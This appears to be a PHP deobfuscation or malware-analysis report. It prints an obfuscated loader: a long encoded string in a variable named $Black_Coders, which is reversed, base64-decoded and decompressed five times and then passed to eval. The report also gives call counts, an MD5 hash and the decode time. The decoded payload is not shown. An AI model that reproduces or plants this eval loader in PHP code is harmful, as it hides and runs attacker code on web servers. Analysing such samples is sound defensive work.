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";
eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Black_Coders))))))));
?>
Function Calls
strrev | 1 |
gzinflate | 3 |
gzuncompress | 2 |
base64_decode | 1 |
Stats
MD5 | 8fcdab77acd608ffe9aa58f2c5b169f8 |
Eval Count | 1 |
Decode Time | 73 ms |